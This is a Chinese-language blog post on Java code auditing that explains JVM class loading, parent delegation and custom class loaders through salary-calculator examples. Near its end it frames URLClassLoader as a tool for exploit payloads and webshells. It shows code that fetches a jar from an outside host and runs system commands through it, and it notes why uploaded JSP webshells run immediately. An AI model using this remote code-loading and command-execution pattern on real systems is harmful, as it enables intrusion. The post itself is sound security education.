Java 程式碼審計 — 1. ClassLoader

沉雲 發表於 2021-11-27
Java

參考:

https://www.bilibili.com/video/BV1go4y197cL/

https://www.baeldung.com/java-classloaders

https://mp.weixin.qq.com/s/lX4IrOuCaSwYDtGQQFqseA

以 java 8 為例

什麼是類載入

Java 是一種混合語言,它既有編譯型語言的特性,又有解釋型語言的特性。編譯特性指所有的 Java 程式碼都必須經過編譯才能執行。解釋型指編譯好的 .class 位元組碼需要經過 JVM 解釋才能執行。.class 檔案中存放著編譯後的 JVM 指令的二進位制資訊。

當程式中用到某個類時,JVM 就會尋找載入對應的 .class 檔案,並在記憶體中建立對應的 Class 物件。這個過程就稱為類載入。

類的載入步驟

理論模型

從一個類的生命週期這個角度來看,一個類(.class) 必須經過載入、連結、初始化三個步驟才能在 JVM 中執行。

image-20211118114733473

當 java 程式需要使用某個類時,JVM 會進行載入、連結、初始化這個類。

載入 Loading

通過類的完全限定名查詢類的位元組碼檔案,將類的 .class 檔案位元組碼資料從不同的資料來源讀取到 JVM 中,並對映成 JVM 認可的資料結構。

這個階段是使用者可以參與的階段,自定義的類載入器就是在這個過程。

連線 Linking

  • 驗證:檢查 JVM 載入的位元組資訊是否符合 java 虛擬機器規範。

    確保被載入類的正確性,.class檔案的位元組流中包含的資訊符合當前虛擬機器要求,不會危害虛擬機器自身安全。

  • 準備:這一階段主要是分配記憶體。建立類或介面的靜態變數,並給這些變數賦預設值

    只對 static 變數進行處理。而 final static 修飾的變數在編譯的時候就會分配。

  • 例如: static int num = 5,此步驟會將 num 賦預設值 0,而 5 的賦值會在初始化階段完成。

  • 解析:把類中的符號引用轉換成直接引用。

    符號引用就是一組符號來描述目標,而直接引用就是直接指向目標的指標、相對偏移量或一個間接定位到目標的控制程式碼。

初始化 Initialization

執行類初始化的程式碼邏輯。包括執行 static 靜態程式碼塊,給靜態變數賦值。

具體實現

java.lang.ClassLoader 是所有的類載入器的父類,java.lang.ClassLoader 有非常多的子類載入器,比如我們用於載入 jar 包的 java.net.URLClassLoader ,後者通過繼承 java.lang.ClassLoader 類,重寫了findClass 方法從而實現了載入目錄 class 檔案甚至是遠端資原始檔。

三種內建的類載入器

  • Bootstrap ClassLoader 引導類載入器

    Java 類被 java.lang.ClassLoader 的例項載入,而 後者本身就是一個 java 類,誰載入後者呢?

    其實就是 bootstrap ClassLoader ,它是最底層的載入器,是 JVM 的一部分,使用 C++ 編寫,故沒有父載入器,也沒有繼承 java.lang.ClassLodaer 類,在程式碼中獲取為 null。

    它主要載入 java 基礎類。位於 JAVA_HOME/jre/lib/rt.jar 以及sun.boot.class.path 系統屬性目錄下的類。

    出於安全考慮,此載入器只載入 java、javax、sun 開頭的類。

  • Extension ClassLoader 擴充套件類載入器

    負責載入 java 擴充套件類。位於是 JAVA_HOME/jre/lib/ext 目錄下,以及 java.ext.dirs 系統屬性的目錄下的類。

    sun.misc.Launcher$ExtClassLoader
    // jdk 9 及之後
    jdk.internal.loader.ClassLoaders$PlatformClassLoader
    
  • App ClassLoader 系統類載入器

    又稱 System ClassLoader ,主要載入應用層的類。位於 CLASS_PATH 目錄下以及系統屬性 java.class.path 目錄下的類。

    它是預設的類載入器,如果類載入時我們不指定類載入器的情況下,預設會使用它來載入類。

    sun.misc.Launcher$AppClassLoader
    // jdk 9 及之後
    jdk.internal.loader.ClassLoaders$AppClassLOader
    
父子關係

AppClassLoader 父載入器為 ExtClassLoader,ExtClassLoader 父載入器為 null 。

image-20211119115550127

很多資料和文章裡說,ExtClassLoader 的父類載入器是 BootStrapClassLoader ,嚴格來說,ExtClassLoader 的父類載入器是 null,只不過在其的 loadClass 方法中,當 parent 為 null 時,是交給 BootStrap ClassLoader 來處理的。

雙親委派機制

試想幾個問題:

  1. 有三種類載入器,如何保證一個類載入器已載入的類不會被另一個類載入器重複載入?

    勢必在載入某個類之前,都要檢查一下是否已載入過。如果三個內建的類載入器都沒載入,則載入。

  2. 某些基礎核心類,是可以讓所有的載入器載入嗎?

    比如 String 類,如果給它加上後門,放到 classpath 下,是讓 appclassloader 載入嗎?如果是被 appclassloader 載入,那麼它需要做什麼驗證?如何進行驗證?

為了解決上面的問題,java 採取的是雙親委派機制來協調三個類載入器。

image-20211031120555460

每個類載入器對它載入的類都有一個快取。

向上委託查詢,向下委託載入。

  • 類的唯一性

    可以避免類的重複載入,當父類載入器已經載入了該類時,就沒有必要子 ClassLoader 再載入一次,保證載入的 Class 在記憶體中只有一份。

    子載入器可以看見父載入器載入的類。而父載入器沒辦法得知子載入器載入的類。如果 A 類是通過 AppClassLoader 載入,而 B 類通過ExtClassLoader 載入,那麼對於 AppClassLoader 載入的類,它可以看見兩個類。而對於 ExtClassLoader ,它只能看見 B 類。

  • 安全性

    考慮到安全因素,Java 核心 Api 中定義型別不會被隨意替換,假設通過網路傳遞一個名為 java.lang.Object 的類,通過雙親委派模式傳遞到啟動類載入器,而啟動類載入器在核心 JavaAPI 發現這個名字的類,發現該類已被載入,並不會重新載入網路傳遞過來的 java.lang.Object,而直接返回已載入過的 Object.class,這樣可以防止核心API庫被隨意竄改。

載入步驟及程式碼細節

public Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException 

此函式是類載入的入口函式。resolve 這個引數就是表示需不需要進行 連線階段。

下面是擷取的部分程式碼片段,從這個片段中可以深刻體會雙親委派機制。

image-20211119112257880
Class<?> c = findLoadedClass(name);

在類載入快取中尋找是否已經載入該類。它最終呼叫的是 native 方法。

if (parent != null) {
    c = parent.loadClass(name, false);
} else {
    c = findBootstrapClassOrNull(name);
}

如果父載入器不為空,則讓遞迴讓父載入器去載入此類。

如果父載入器為空,則呼叫 Bootstrap 載入器去載入此類。此處也即為何說 ExtClassLoader 的父載入器為 null,而非 Bootstrap 。

c = findClass(name);

如果查詢完所有父親仍未找到,說明此類並未載入,則呼叫 findClass 方法來尋找並載入此類。我們自定義類載入器,主要重寫的就是 findClass 。

總結

ClassLoader類有如下核心方法:

  1. loadClass(載入指定的Java類)
  2. findLoadedClass(查詢JVM已經載入過的類)
  3. findClass(查詢指定的Java類)
  4. defineClass(定義一個Java類)
  5. resolveClass(連結指定的Java類)

理解Java類載入機制並非易事,這裡我們以一個 Java 的 HelloWorld 來學習 ClassLoader

ClassLoader 載入 com.example.HelloWorld 類重要流程如下:

  1. ClassLoader 呼叫 loadClass 方法載入 com.example.HelloWorld 類。
  2. 呼叫 findLoadedClass 方法檢查 TestHelloWorld 類是否已經載入,如果 JVM 已載入過該類則直接返回類物件。
  3. 如果建立當前 ClassLoader 時傳入了父類載入器(new ClassLoader(父類載入器))就使用父類載入器載入 TestHelloWorld 類,否則使用 JVM 的 Bootstrap ClassLoader 載入。
  4. 如果上一步無法載入 TestHelloWorld 類,那麼呼叫自身的 findClass 方法嘗試載入TestHelloWorld 類。
  5. 如果當前的 ClassLoader 沒有重寫了 findClass 方法,那麼直接返回類載入失敗異常。如果當前類重寫了 findClass 方法並通過傳入的 com.example.HelloWorld 類名找到了對應的類位元組碼,那麼應該呼叫 defineClass 方法去JVM中註冊該類。
  6. 如果呼叫 loadClass 的時候傳入的 resolve 引數為 true,那麼還需要呼叫 resolveClass 方法連結類,預設為 false。
  7. 返回一個被 JVM 載入後的java.lang.Class類物件。

自定義類載入器

用途

大多數情況下,內建的類載入器夠用了,但是當載入位於磁碟上其它位置,或者位於網路上的類時,或者需要對類做加密等,就需要自定義類載入器。

一些使用場景:通過動態載入不同實現的驅動的 jdbc。以及編織代理可以更改已知的位元組碼。以及類名相同的多版本共存機制。

具體實現

我們通常實現自定義類載入器,主要就是重寫 findClass 方法。

protected Class<?> findClass(String name) throws ClassNotFoundException

從網路或磁碟檔案(.class, jar, 等任意字尾檔案) 上讀取類的位元組碼。然後將獲取的類位元組碼傳給 defineClass 函式來定義一個類。

protected final Class<?> defineClass(String name, byte[] b, int off, int len) throws ClassFormatError

它最終呼叫也是 native 方法。

示例程式碼

使用類位元組碼中載入類
@Test
public void test3(){
    Double salary = 2000.0;
    Double money;
    {
        byte[] b = new byte[]{-54, -2, -70, -66, 0, 0, 0, 52, 0, 32, 10, 0, 7, 0, 21, 10, 0, 22, 0, 23, 6, 63, -15, -103, -103, -103, -103, -103, -102, 10, 0, 22, 0, 24, 7, 0, 25, 7, 0, 26, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 26, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 83, 97, 108, 97, 114, 121, 67, 97, 108, 101, 114, 49, 59, 1, 0, 3, 99, 97, 108, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 1, 0, 6, 115, 97, 108, 97, 114, 121, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 17, 83, 97, 108, 97, 114, 121, 67, 97, 108, 101, 114, 49, 46, 106, 97, 118, 97, 12, 0, 8, 0, 9, 7, 0, 27, 12, 0, 28, 0, 29, 12, 0, 30, 0, 31, 1, 0, 24, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 83, 97, 108, 97, 114, 121, 67, 97, 108, 101, 114, 49, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 1, 0, 11, 100, 111, 117, 98, 108, 101, 86, 97, 108, 117, 101, 1, 0, 3, 40, 41, 68, 1, 0, 7, 118, 97, 108, 117, 101, 79, 102, 1, 0, 21, 40, 68, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 0, 33, 0, 6, 0, 7, 0, 0, 0, 0, 0, 2, 0, 1, 0, 8, 0, 9, 0, 1, 0, 10, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 11, 0, 0, 0, 6, 0, 1, 0, 0, 0, 3, 0, 12, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 13, 0, 14, 0, 0, 0, 1, 0, 15, 0, 16, 0, 1, 0, 10, 0, 0, 0, 64, 0, 4, 0, 2, 0, 0, 0, 12, 43, -74, 0, 2, 20, 0, 3, 107, -72, 0, 5, -80, 0, 0, 0, 2, 0, 11, 0, 0, 0, 6, 0, 1, 0, 0, 0, 5, 0, 12, 0, 0, 0, 22, 0, 2, 0, 0, 0, 12, 0, 13, 0, 14, 0, 0, 0, 0, 0, 12, 0, 17, 0, 18, 0, 1, 0, 1, 0, 19, 0, 0, 0, 2, 0, 20};
        money = calSalary(salary,b);
        System.out.println("money: " + money);
    }
}
private Double calSalary(Double salary,byte[] bytes) {
    Double ret = 0.0;
    try {
        Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        method.setAccessible(true);
        Class<?> clazz = (Class<?>) method.invoke(this.getClass().getClassLoader(), "ClassLoader.SalaryCaler1", bytes, 0, bytes.length);
        System.out.println(clazz.getClassLoader());
        Object object = clazz.getConstructor().newInstance();
        Method cal = clazz.getMethod("cal",Double.class);
        ret = (Double)cal.invoke(object,salary);
    } catch (Exception e) {
        e.printStackTrace();
    }
    return ret;
}
從檔案中讀取類位元組碼載入類
@Test
// 自定義類載入器,從 .myclass 檔案中中載入類。
public void test4(){
    // 將其它方法全註釋,並且 ClassLoader.SalaryCaler 檔案更名。
    try {
        Double salary = 2000.0;
        Double money;
        SalaryClassLoader classLoader = new SalaryClassLoader("C:\\Users\\EA\\Desktop\\important_doc\\java\\build\\ideaprojects\\demos\\underlying\\target\\classes\\");
        money = calSalary(salary, classLoader);
        System.out.println("money: " + money);
    } catch (Exception e) {
        e.printStackTrace();
    }
}
private Double calSalary(Double salary, SalaryClassLoader classLoader) throws Exception {

    Class<?> clazz = classLoader.loadClass("ClassLoader.SalaryCaler1");
    System.out.println(clazz.getClassLoader());

    Object object = clazz.getConstructor().newInstance();
    Method cal = clazz.getMethod("cal",Double.class);

    return (Double)cal.invoke(object,salary);
}
package ClassLoader;

import org.apache.commons.io.IOUtils;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.security.SecureClassLoader;

public class SalaryClassLoader extends SecureClassLoader {
    private String classPath;

    public SalaryClassLoader(String classPath) {
        this.classPath = classPath;
    }

    @Override
    protected Class<?> findClass(String name)throws ClassNotFoundException {
        String filePath = this.classPath + name.replace(".", "/").concat(".myclass");
        byte[] b = null;
        Class<?> aClass = null;
        try (FileInputStream fis = new FileInputStream(new File(filePath))) {
            b = IOUtils.toByteArray(fis);
            aClass = this.defineClass(name, b, 0, b.length);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return aClass;
    }
}
從 jar 包中讀取類位元組碼載入類
@Test
//自定義類載入器,從 jar 包中載入 .myclass
public void test5(){
    try {
        Double salary = 2000.0;
        Double money;
        SalaryJarLoader classLoader = new SalaryJarLoader("C:\\Users\\EA\\Desktop\\important_doc\\java\\build\\ideaprojects\\demos\\out\\artifacts\\SalaryCaler\\SalaryCaler.jar");
        money = calSalary(salary, classLoader);
        System.out.println("money: " + money);
    } catch (Exception e) {
        e.printStackTrace();
    }
}
private Double calSalary(Double salary, SalaryJarLoader classLoader) throws Exception {
    Class<?> clazz = classLoader.loadClass("ClassLoader.SalaryCaler1");
    System.out.println(clazz.getClassLoader());

    Object object = clazz.getConstructor().newInstance();
    Method cal = clazz.getMethod("cal",Double.class);

    return (Double)cal.invoke(object,salary);
}
package ClassLoader;

import org.apache.commons.io.IOUtils;

import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.security.SecureClassLoader;

public class SalaryJarLoader extends SecureClassLoader {
    private String jarPath;

    public SalaryJarLoader(String jarPath) {
        this.jarPath = jarPath;
    }


    @Override
    protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
        Class<?> c = null;
        synchronized (getClassLoadingLock(name)){
            c = findLoadedClass(name);
            if(c == null){
                c = this.findClass(name);
                //                System.out.println(c);
                if( c == null){
                    c = super.loadClass(name,resolve);
                }
            }
        }
        return c;
    }

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        Class<?> ret = null;
        try {
            URL jarUrl = new URL("jar:file:\\"+jarPath+"!/"+name.replace(".","/").concat(".myclass"));
            InputStream is = jarUrl.openStream();

            byte[] b = IOUtils.toByteArray(is);
            ret = this.defineClass(name,b,0,b.length);
        } catch (Exception e) {
            //            e.printStackTrace();
        }
        return ret;
    }

}

打破雙親委派機制

重寫繼承而來的 loadClass 方法。

使其優先從本地載入,本地載入不到再走雙親委派機制。

@Override
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
    Class<?> c = null;
    synchronized (getClassLoadingLock(name)){
        c = findLoadedClass(name);
        if(c == null){
            c = this.findClass(name);
            if( c == null){
                c = super.loadClass(name,resolve);
            }
        }
    }
    return c;
}

其它

URLClassLoader

URLClassLoader 提供了載入遠端資源的能力,在寫漏洞利用的 payload 或者 webshell 的時候我們可以使用它來載入遠端的 jar 來實現遠端的類方法呼叫。

在 java.net 包中,JDK提供了一個易用的類載入器 URLClassLoader,它繼承了 ClassLoader。

public URLClassLoader(URL[] urls) 
//指定要載入的類所在的URL地址,父類載入器預設為 AppClassLoader。
public URLClassLoader(URL[] urls, ClassLoader parent)
//指定要載入的類所在的URL地址,並指定父類載入器。

從本地 jar 包中載入類

@Test
// 從 jar 包中載入類
public void test3() {
    try {
        Double salary = 2000.0;
        Double money;
        URL jarUrl = new URL("file:C:\\Users\\EA\\Desktop\\important_doc\\java\\build\\ideaprojects\\demos\\out\\artifacts\\SalaryCaler\\SalaryCaler.jar");
        try (URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{jarUrl})) {
            money = calSalary(salary, urlClassLoader);
            System.out.println("money: " + money);
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
}
private Double calSalary(Double salary, URLClassLoader classLoader) throws Exception {
    Class<?> clazz = classLoader.loadClass("ClassLoader.SalaryCaler");
    Object object = clazz.getConstructor().newInstance();
    Method cal = clazz.getMethod("cal",Double.class);

    return (Double)cal.invoke(object,salary);
}

從網路 jar 包中載入類

package com.anbai.sec.classloader;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;

/**
 * Creator: yz
 * Date: 2019/12/18
 */
public class TestURLClassLoader {

    public static void main(String[] args) {
        try {
            // 定義遠端載入的jar路徑
            URL url = new URL("https://anbai.io/tools/cmd.jar");

            // 建立URLClassLoader物件,並載入遠端jar包
            URLClassLoader ucl = new URLClassLoader(new URL[]{url});

            // 定義需要執行的系統命令
            String cmd = "ls";

            // 通過URLClassLoader載入遠端jar包中的CMD類
            Class cmdClass = ucl.loadClass("CMD");

            // 呼叫CMD類中的exec方法,等價於: Process process = CMD.exec("whoami");
            Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);

            // 獲取命令執行結果的輸入流
            InputStream           in   = process.getInputStream();
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            byte[]                b    = new byte[1024];
            int                   a    = -1;

            // 讀取命令執行結果
            while ((a = in.read(b)) != -1) {
                baos.write(b, 0, a);
            }

            // 輸出命令執行結果
            System.out.println(baos.toString());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}	
import java.io.IOException;

/**
 * Creator: yz
 * Date: 2019/12/18
 */
public class CMD {

    public static Process exec(String cmd) throws IOException {
        return Runtime.getRuntime().exec(cmd);
    }

}

jsp webshell

為什麼上傳的 jsp webshell 能立即訪問,按道理來說 jsp 要經過 servlet 容器處理轉化為 servlet 才能執行。而通常開發過程需要主動進行更新資源、或者重新部署、重啟 tomcat 伺服器。

image-20211127185648193

這是因為 tomcat 的 熱載入機制 。而之所以 JSP 具備熱更新的能力,實際上藉助的就是自定義類載入行為,當 Servlet 容器發現 JSP 檔案發生了修改後就會建立一個新的類載入器來替代原類載入器,而被替代後的類載入器所載入的檔案並不會立即釋放,而是需要等待 GC。